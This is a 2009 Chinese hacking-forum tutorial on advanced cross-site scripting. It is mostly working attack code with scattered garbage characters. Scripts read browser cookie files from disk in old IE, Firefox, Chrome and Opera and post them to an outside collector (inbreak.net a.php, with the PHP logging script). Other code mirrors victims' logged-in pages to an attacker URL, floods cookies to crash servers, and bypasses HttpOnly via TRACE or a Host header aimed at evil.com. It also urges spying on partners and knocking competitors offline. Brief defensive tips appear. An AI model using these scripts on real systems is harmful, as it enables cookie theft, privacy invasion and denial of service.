XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
, q6 q; e. W5 {% b  }  p8 x/ z本帖最后由 racle 于 2009-5-30 09:19 编辑

* i9 g4 t$ t; z& {2 v6 @XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
- z8 g- R5 p* |; r转帖请保留版权

; D$ Y4 n4 l: J" b

$ d1 ~" i) S$ g# Q-------------------------------------------前言---------------------------------------------------------
5 L& q2 y* P: x

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

/ ?9 B) \9 }9 {4 _) R% k
如果你还未具备基础XSS知识,以下几个文章建议拜读:
0 \+ }- t' J0 chttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
6 s7 c; T  U5 U; S! V/ h$ e6 shttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
7 p2 o$ s9 v% O& |http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

8 s7 S" o" j0 {

6 D5 m. ~+ i3 R5 }& T+ ]4 l9 z
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
* a: J2 n9 k& y2 d  d+ u; X
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
4 h. b& P1 w$ I3 ?
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
4 S6 L8 u1 q7 }! P! D" o
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
. m  f4 @! ?/ D. ^3 B. h9 Q+ ^3 ]: @
! e" @( A, c' ]- k! N" B' }..........
- y- @+ G. f$ Q$ t8 s, s复制代码------------------------------------------介绍-------------------------------------------------------------
$ _; c& Q) N+ }
* z, u3 X4 l/ L* ~! v, T什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


4 a$ m! m, g* |& H$ X
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
& F6 e3 t6 `- C+ f8 N
  i: \) b. I' X- y( @
! \  u3 O$ Z/ V% A, f) b7 v5 g
6 O' f6 {7 a; m如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
2 {5 k9 _" _* ]2 b我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
3 R: |: b1 F( O* V& A5 K
. a& [! Y: q2 x+ q8 z2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

, W2 l7 Q) q' A( i9 A! i! m5 ~3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
- s5 [+ @, ?5 A; V, _
  B+ a& Z8 q8 b& I
/ ?# H& a" K6 v2 D+ D
0 R7 ?. L" `# f  Z, P( J------------------------------------------研究正题----------------------------------------------------------


7 Q3 t# P+ \) Q1 y
( Y) b5 d$ K7 \; t5 m3 P( ~通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
3 k+ D& N2 h5 e1 `4 L1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
1 v7 s" `' I8 N* w3 Z8 [2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
$ s( f. A6 y+ I* P( r+ ]3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
! e& M; X% f3 v9 d4 p4:Http-only可以采用作为COOKIES保护方式之一.
: S2 G+ Q/ x) }, ?! @
$ \) G8 I8 \3 B2 u. V1 z4 c
6 F% G+ X! K" K, k; C

" `2 ^, o/ P* ]6 Y0 J
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

, @0 G2 \* y2 V5 h1 [" y( ]; y; H我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
$ a* R) h! S& o2 e4 n+ b! o/ V
1 r) R6 d) x9 s
3 N# d! n& P( X9 r
1 Q4 U$ w# j' w$ O    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


1 b" W) ^8 ~0 {4 }. t0 r: S1 L
. u' \8 H0 J" H4 @) s- ~7 p    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
+ Y0 Q5 F1 R; I/ ^& ]/ J
& X+ Y: e3 Q% k. C
. J3 o; ~9 H8 X' \* h
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
; \. \& `* m6 ?' F0 {
0 A4 i1 [/ @) i/ q" H    function $(x){return document.getElementById(x)}


; e2 r- a/ l6 R
0 r# |. K! w% T, A  c    function ajax_obj(){
3 k, _2 \/ F% o, Z4 }
' a7 Y: e; x* A' J4 p0 a5 J( B  n4 m    var request = false;

4 Q/ z8 y$ z3 f# h    if(window.XMLHttpRequest) {

# s; L  |3 p% M- [- e% V    request = new XMLHttpRequest();

' l, u0 d! L! T9 G' R# o    } else if(window.ActiveXObject) {
) {9 q7 q5 {! S7 Y
2 N! b7 E- X7 m7 ^* n9 R) U    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



8 f6 U! i& P( _' k0 N    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, y, l% F9 c1 e8 t; m3 e3 `5 a
' ]  w: c  s: n) Q8 Z6 l    for(var i=0; i<versions.length; i++) {
1 @2 K; H: K3 ]$ t( Z; e& u
- t9 C7 ^8 }& A1 t( t) I0 Q& d( c    try {
- s! E9 z6 c, T3 j# E2 z/ [. d  I
( @! E* N" W/ _( P# Z0 b. ?    request = new ActiveXObject(versions);
2 S; m' ?( a/ @# x+ P, a& W/ Q
) G3 }' H' [7 o: @% @5 j& E    } catch(e) {}
. J/ a1 e/ {6 H
    }
: u) @" X, B2 l3 j+ f) w* ]3 r
1 n* T! X, }4 ^' S2 L2 S- A7 ]) c    }

    return request;

3 v3 ]- ]4 G2 J" `    }
. }" _( s5 ]/ y, H- i
    var _x = ajax_obj();

1 c- s$ ?; U% z5 I" o9 W    function _7or3(_m,action,argv){
" ~4 t/ k0 j3 V3 g/ y) c
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

$ F4 B, @/ G( A  u% F. B    return _x.responseText;
3 E4 g4 f$ W7 c/ X0 _
2 A* q4 [9 N" p2 f& K2 p    }

, P: d5 ^7 e' L
( p5 k/ m+ r6 w% j# K7 A
7 U+ m0 _: d( E9 t0 |5 A7 p    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

' F) J! ~$ n# X$ i+ ]7 U4 j    alert(txt);
$ L) [% O: n4 J4 O0 j
& m* \- l2 j6 E5 X

/ _/ u6 `9 Z4 t  f8 D    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
5 c5 P% s2 f( K
; d; ~* I& N9 I7 H% B9 I    function $(x){return document.getElementById(x)}

% t9 ^  {, s3 G) M  y

7 s& k( M( a4 `    function ajax_obj(){

    var request = false;
' h) y" w5 U) V4 w" D
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
- M  B: [1 i! ^: K6 G/ [+ _
; U+ Z! G# k5 c8 [* [! W    } else if(window.ActiveXObject) {
0 q/ m1 C, H1 {) p/ k
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ U6 k7 u+ z% k; S$ _. F+ K
* B% a* {- a4 K" G" T. W. W    for(var i=0; i<versions.length; i++) {

    try {
+ X. c! |2 n6 A& s: h4 H: K
    request = new ActiveXObject(versions);
. I2 K+ D, G% ~" z' ^9 e
    } catch(e) {}
7 p$ i1 \1 M: `% _0 _9 g! k3 l' i
# h2 n$ n6 c0 v5 z# C) u; U    }

    }
2 `0 _) T  @* M) C5 f3 R) ?
    return request;
1 u5 u; Z, u4 y2 @
    }

6 M0 R9 @; j, |9 j    var _x = ajax_obj();
* N# n, j: C  i/ j/ ]" g; y
    function _7or3(_m,action,argv){

: i% M/ Y  G. A( ?/ |( F    _x.open(_m,action,false);

1 ^8 s$ t: \# M7 O. F1 M    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
& b( |! G/ g$ o* y
$ h! X$ f4 j+ p5 U+ z; t    _x.send(argv);

    return _x.responseText;

    }


9 {; H0 A9 e; ?- ]) e# ]) J& l
    var txt=_7or3("GET","1/11.txt",null);
$ P+ C3 N% R1 ]$ v9 H, t4 p+ m
    alert(txt);
# \* Q6 `- @& ~( X5 P/ l2 A9 k
* D9 P$ Q0 W! `$ p% A+ g+ u/ ~
8 [" @+ b( g* G  f; s: u% B
    </script>
+ T+ B. S' [8 x4 L' U( T复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
. Q2 ^% l5 D3 d

1 r( c% L+ c& |5 o: x  _$ a
' n4 q: ^& g( C( f$ xChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
3 T' k# `" H1 }


( M: I/ u& H9 l* X: @( s; b<?   

) p: ^: O2 ?6 e: m* x$ K/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

; B+ Y7 w% u. h, k; ^  P0 M1 \     www.inbreak.net   
+ R0 I+ \: J; e0 l- W7 j
) w: U; D6 r" M) r* l6 e' V     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
- L$ y3 n0 D! @0 B5 v# o2 _8 j
header("Content-Disposition: attachment;filename=kxlzx.htm");   

! q, K1 i9 t0 y  S3 Bheader("Content-type: application/kxlzx");   
. s/ J& C/ E1 Q
/*  

     set header, so just download html file,and open it at local.  

*/  

2 a% |4 j& j" a' I?>   
2 w/ q+ W3 x. S5 G+ G  V6 ]9 L
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
8 n( Q: q/ J  A$ X) f. K; @
     <input id="input" name="cookie" value="" type="hidden">   

* d6 b, U/ p; Y9 ]% v- S</form>   
: W# G+ ]. x, H+ \
! s  F5 h4 O/ t0 N2 |<script>   
- B( j' K; \9 j. N
function doMyAjax(user)   
8 q/ U/ X/ _9 j; L- A1 s& A5 Z
{   
1 A; F# c1 z# Q& M
/ c% d5 j0 h+ f- I3 Uvar time = Math.random();   

/*  

# I$ O- H5 K: r6 W: R" e+ ^8 vthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
7 y9 `* n4 h; x. i6 J
+ _, I* A( \. Q$ p8 Cand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
  {1 y) X* P0 ]
3 U6 L! s( S" X; L" W4 ^and so on...  

% ~* k3 B: J( V) l8 A# j*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
$ I4 V5 n0 ?: B, k: F  y
   

startRequest(strPer);   
3 x8 q) U5 T7 u1 E) A

' k" l% i5 O; R# r; h
}   

   
/ ?8 `! S7 s- `3 l
function Enshellcode(txt)   
( E& [8 i1 ?3 r( X1 M' Q+ Q
5 }( y2 {( P+ }% O! I  R4 ?{   

9 v& D9 x: l9 Q  V  ivar url=new String(txt);   
( g) _' e8 @& g! k
4 r7 V% N; K  lvar i=0,l=0,k=0,curl="";   

l= url.length;   
1 q/ L& Y, r1 ?. a- s! D4 [2 M
for(;i<l;i++){   
$ D3 s. G$ v5 ~1 a
5 z- ?! h; }" T# ^. xk=url.charCodeAt(i);   

" I, U& y7 u6 p( p% c! ^if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
$ v! r6 _/ L3 z# G* {* Y
if (l%2){curl+="00";}else{curl+="0000";}   
7 t8 U8 y8 N$ A7 O
8 z  G- S$ G. jcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
2 S: O7 M! F/ W# H' l4 G9 V  e& h
. w! X7 R4 T4 c( C. t0 Areturn curl;   

}   
9 z+ ]/ W0 A- \5 ]# d; ~
   
# u* Y; t4 P6 [. L  V$ h6 F
* N5 |. u  i# G/ Y. e" S0 m5 B   
4 ^% x! u+ f/ \  x
8 N$ b, ]; L6 @$ P- Vvar xmlHttp;   

/ m$ x6 Y! P1 A. ~  Lfunction createXMLHttp(){   
, ^  V. f3 z2 V! ~
     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
) m9 C7 M' ]3 K* x- G
. E$ f. Y; C: ^* z1 L     }   

     else if(window.ActiveXObject){   
- u  ^: F# X3 |! |! X
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

}   

   
6 l' c5 _0 U- \# J3 x
function startRequest(doUrl){   

   
# X! j( {& _* T4 j4 X- v* B/ [( Y5 J
     createXMLHttp();   

* z2 i6 r+ b' O' \

     xmlHttp.onreadystatechange = handleStateChange;   
  u8 a$ H+ g  p  h


+ I* \( l6 i# V* i     xmlHttp.open("GET", doUrl, true);   



     xmlHttp.send(null);   
& }4 {: a0 X( H8 ]2 I4 W
- ]9 A* Z. K- j
6 M$ ]) I9 q4 y
$ p( n, G3 F8 U5 E# c+ z

9 [( u9 K" s) v2 W* E# i}   
& T* ?5 a' V/ M+ ?; i
   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   
0 R' {; a0 b8 k. w0 D- T2 j& Z
     var strResponse = "";   

0 L" U) v" p; P( Q1 {- D9 a5 O" H  F     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

' K& D" B& i( y% a) U3 U" [        
( W7 Q9 o( X! f; U) |
     }   

+ w) o9 `8 L1 d7 q: L% g4 v}   

   
+ [# U* `2 a$ {9 s+ T& _, \
2 M7 A! x! _- b, n; K) c) b8 H8 ]7 u   
- \# b% H( b/ E3 T6 [0 a- A& K/ L( H
' l& ^: R6 u" X- M% _; Z/ _- j6 Yfunction framekxlzxPost(text)   

{   

     document.getElementById("input").value = Enshellcode(text);   

. R2 i3 j/ S, B% v3 n     document.getElementById("form").submit();   
' Y/ |2 _/ V9 ]6 w; @! M
}   
5 V- x9 V) N7 V" [, S$ I% O
   

doMyAjax("administrator");   
* Z! ~" a$ G" N" F" W; E
% c* G0 _2 ~  A7 F& m% p   
8 B& u7 p& z$ K2 H, Z/ Q
4 h$ s% g3 F8 E, i$ y</script>
( x2 V% M( v7 E& `0 X复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
3 V6 ^$ u  m7 U* T
var xmlHttp;  

- P& p- e+ S& u/ A$ C% Hfunction createXMLHttp(){  

( @9 F2 z5 C" B% y( q  E, |3 x     if(window.XMLHttpRequest){  

5 C" i: j0 ]. \7 D. n, U0 Y0 x" y         xmlHttp = new XMLHttpRequest();         

     }  

     else if(window.ActiveXObject){  

' N9 @% i9 [) `# a! P. }, Y$ d         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
- g+ u7 w  O# |  c
8 c2 }* o8 [! }  l, {     }  

}  

9 A* N, e) b+ `0 X   
- J- s/ @& a- }" U8 g5 S
function startRequest(doUrl){  

0 `5 ~7 j7 G; s4 M7 i8 k           
& f  w2 b& @+ O% _" O4 T
     createXMLHttp();  

      
3 q2 ~/ I% i/ R2 ]" ~# w: Y+ p
" q$ @  E. h4 C4 j" s/ y' s1 k     xmlHttp.onreadystatechange = handleStateChange;  
+ t2 O4 P8 W0 R3 K$ }
      
; k" a" O- |, T6 k
     xmlHttp.open("GET", doUrl, true);  

" b7 d$ B. |- D      

+ W1 ?$ R  q8 O  d     xmlHttp.send(null);  

      

      
& o9 B# ?1 h  d. m4 w) Y3 }4 i
}   
, P: F* @5 [' P& d  f
* S9 F: g0 i4 |0 m6 x   
4 T7 S( _6 d7 V* c; Y( {6 p+ d9 A
$ t$ C  |) u. `2 rfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

  I& x, b6 _" E- ]             var strResponse = "";  
+ x5 Z% g4 D0 [3 [# J
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
' E9 i- K6 R$ l, P3 [* I
# [5 f, w9 n% h. z& V) l               

     }  
6 Z* I% p* t5 I( ]% \
}  

   
4 Q1 S$ n8 m' _6 C! ]# w
& I3 R: I7 p' b/ x; Jfunction doMyAjax(user,file)  
% U: A5 x6 x- u
{  

         var time = Math.random();  
. ~& e: h, T" b7 [/ E
           
1 ?: n- i7 r% f. _# J
9 {& m; g6 t9 m         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

$ P+ I( V; q8 f5 a* i           
/ z1 e5 }! @& t! B3 c* r9 B( Y
8 W% c4 z& j7 k& ^! B7 c$ z         startRequest(strPer);  

      
. Z* D" |# K. ]/ F$ k% r
}  

   
8 k8 @3 ^; R/ i. X+ ^$ v
0 h2 s. {: a0 O  Z5 n, A+ Sfunction framekxlzxPost(text)  

{  
' q; U: _  f! i0 j6 y
& r  \0 M) B8 }+ R) P" {2 p     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
8 C* b4 [- J: {; o
     alert(/ok/);  

}  
& L% ^- h& D+ q  Q" K8 p! i" \0 C( w! X
( ^; T* W9 f/ E5 E5 G& h2 g3 {; P   
6 {# b5 k; r$ t3 c
- d6 |7 k+ Z) x5 B# G4 }doMyAjax('administrator','administrator@alibaba[1].txt');  

   

</script>
6 {# U$ e0 f( T" x, C
  Q7 Y. ?) Z6 k, ~
* v: z* E" Z9 _, ~9 j! ~
! ^% {" [$ _% A) S: D* y7 M% @
8 n& d' L& b& n4 G* U: {
, \) \$ k  B1 e5 u6 Ba.php
# r8 U( P: R' q2 R
$ G" r9 X0 B, C" j8 p! H
9 D& p/ f/ X& e  m
<?php      

   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
' V; c) T7 x6 B4 T- x4 d
& `4 l, ^" e- W7 n9 v! ^- R$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

( W+ l2 x# L0 V2 D6 M& b$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

fclose($fp);   
$ ~* r9 p, s0 q& j# Z5 o  _
" ^$ W- A, F( n( W?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
( x) d, }+ K. d. C# q4 D5 P. h6 h
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
6 U- \/ y) N! [# O
# E$ z! v' R; t7 @" f) i//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
, g0 a3 X+ ?4 E$ v
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
: m& ], z2 K& I2 f. u, X7 R
7 U) C; w/ b1 \function getURL(s) {
" r2 m6 E: \$ v( F
var image = new Image();

image.style.width = 0;

7 M1 ]/ Q& e  d0 A8 ?7 M- Gimage.style.height = 0;
0 t/ X5 ?" L( r- u1 v$ N& v
9 @6 K. _( e# C( n% rimage.src = s;

}

  X. z1 V; n4 U# s( P4 ZgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
* Y/ r: G9 y# s这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
) k9 e, Z  b& o4 L
7 S& L. o; m5 n: Cvar str = "";

while (str.length < 4000){
. R3 b/ N7 v; e- {2 O
/ j7 L0 u# Z$ a" o    str += metastr;

}


- d; y. j) m9 d) K( F: q
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
7 n: D0 g% S2 Z+ d2 p3 c
$ T& g7 n! S0 r/ k4 g- L* @& G: x</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
" c; g. w6 j1 Z. @. A3 E: J+ M$ l
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
0 R+ j* k5 T! O4 z5 }* J- V攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
* \, t: l" @) g7 {- k9 Z( B

! A6 s* W( P2 |  }
* v0 I8 S' N0 @


(III) Http only bypass 与 补救对策:
8 [# c7 e6 G9 N$ M8 E! V) C- o- Z/ L
, o+ m: Y8 [+ q& h& ^& S+ F1 W什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
( z  \* d  q2 c* X0 E5 W1 \以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
7 R3 B! F9 q+ W3 a
" i) i, g' f% M) V1 @% Z2 B! d<!--

, v: K& k' r' G/ p2 I+ _" {# qfunction normalCookie() {

6 l7 A' N* Q7 ?& l, Q- X+ u0 v1 D8 ?document.cookie = "TheCookieName=CookieValue_httpOnly";

8 J6 }" g1 q& L! O& falert(document.cookie);

$ M; }# Q9 C1 _$ W}

: Y' a6 t) F3 t: c$ }" I
5 u- _# R  e+ }; Q
1 b/ r) J+ y% z" l+ s2 K* H2 V

function httpOnlyCookie() {
$ E4 U' i/ \9 `3 D; D1 z$ o7 c8 r
% l0 p- m$ u8 R/ r: w3 g) ydocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
, q  e- S* Q$ E) j* N. A% A! p
alert(document.cookie);}
" G; K8 f# C  u+ {+ |
/ q5 L  t# J& W# z8 V0 _

3 R0 [* s" x6 W4 [! b% v# T; B9 k//-->

</script>
# R( j  j  t" x7 l
1 c1 d: X* Z" I* \. j
% h) h  ?& V! O1 ]) ?
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
7 ~9 f6 |+ I2 t; R: X7 [
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


. ^6 A) [  X3 P0 N
var request = false;
, Y# q1 g5 Z; L8 n; G/ Y3 p
        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

' N1 {- o  {8 o8 P            if(request.overrideMimeType) {

6 x0 q: e4 [( |( i+ C                request.overrideMimeType('text/xml');

            }

        } else if(window.ActiveXObject) {

0 g7 p2 j( T# k: z# X4 X" g            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) c+ |0 d/ w9 c
8 k: }1 F$ G( s& e7 Q! x$ _            for(var i=0; i<versions.length; i++) {

                try {
* W/ x0 V8 z  @6 O- [+ g. Z
+ r. |  n4 w( [& l4 I: G  X4 a                    request = new ActiveXObject(versions);
( m3 f/ x6 f* _( t( e
                } catch(e) {}
! p, |2 o0 w- C1 o2 G$ e( I4 Y
            }
2 c4 A6 N9 }0 f1 L, r" C9 P& U
        }

% I2 ~9 _# x  X% mxmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

# |8 [3 }' p8 j$ @4 ^4 T0 B  `xmlHttp.send(null);
* y/ \1 T, T: C
. K7 e8 ?+ G" N9 Z9 [; ixmlDoc=xmlHttp.responseText;
- I( c1 U' \9 C
7 p. u9 F8 C& v, _  J- [alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
1 \8 J: l: a5 P3 w) d* A" d
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

* P5 v, h+ ?$ x+ M0 q: {XmlHttp.open("GET","http://www.google.com",false);

9 Y0 ?& T0 A7 ?0 t5 lXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

. @. Z& C7 S$ n4 i& @' E8 PXmlHttp.send(null);

var resource=xmlHttp.responseText
3 s% z* B( @4 @" Q; l% k0 Z
resource.search(/cookies/);

+ i/ ?$ E+ a9 e# u" q......................
% }( `% p5 k* F( {
" c6 x0 z# p2 a' M  g0 W</script>


: ^- g/ n9 }+ }  K- q1 z9 z  O
/ N1 `2 _5 G% \
- Y0 N. k! K9 m" N4 ^
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

6 q' ]& w3 L2 v0 k" ^: f8 kRewriteEngine On

; ~3 Y: P1 n. c  F' XRewriteCond %{REQUEST_METHOD} ^TRACE
+ _6 r) P) V4 j1 z: `" D
RewriteRule .* - [F]



+ {; p+ @! n& ^! [/ ?Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
2 O: V4 G/ p7 ~- Q' `
; s; U  v4 f( X% ?8 |acl TRACE method TRACE

$ o$ l$ R- F* `; F5 P* ~8 {7 s...

. ~% B5 X- F9 l" n% Ihttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

0 ]$ C# r. d( I" c1 cvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

/ ~( @2 @  z8 l3 P  zXmlHttp.open("GET","http://www.google.com",false);

5 h6 S8 C9 V& l! r8 zXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
( u2 K+ Q4 z! y$ H4 h: G3 {
  g9 ^' R: L, c, T0 ^" ~9 i6 cXmlHttp.send(null);

